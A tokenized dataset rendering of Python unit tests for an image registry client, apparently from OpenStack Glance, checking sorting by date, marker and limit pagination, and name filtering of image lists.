"\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "time1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "time2", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "created", "\\u", "at", "'_", ",_", "sort", "\\u", "dir_", "=_", "'", "asc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "update", "d\\u", "at", "\\u", "desc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "by", " ", "update", "d\\u", "at", " ", "in", " ", "descend", "ing", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time1_", "=_", "now_", "+_", "datetime_", "._", "timedelta_", "(_", "seconds_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time2", "_", "=_", "now_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "time1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "time2", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "update", "d\\u", "at", "'_", ",_", "sort", "\\u", "dir_", "=_", "'", "desc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "marker", " ", "param", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "marker_", "=_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "invalid", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "exception", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "marker", " ", "is", " ", "invalid", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "images_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "marker_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "number", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "limit", " ", "param", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "limit_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "marker", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "marker", "/", "limit", " ", "params", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "marker_", "=_", "UU", "ID", "3_", ",_", "limit_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "limit", "\\u", "None_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "limit", " ", "param", " ", "==", " ", "Non", "e", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "limit_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "by", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "correct", " ", "set", " ", "of", " ", "public", ",", " ", "name", "-", "filter", "ed", " ", "image", " ", "return", "ed", ".", " ", "Thi", "s", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "just", " ", "a", " ", "sanity", " ", "check", ",", " ", "we", " ", "test", " ", "the", " ", "deta", "il", "s", " ", "call", " ", "more", " ", "in", "-", "depth", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "{_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "image_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "details_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "detailed", " ", "info", " ", "abo", "ut", " ", "public", " ", "images", " ", "return", "ed", "\"\"\"_", 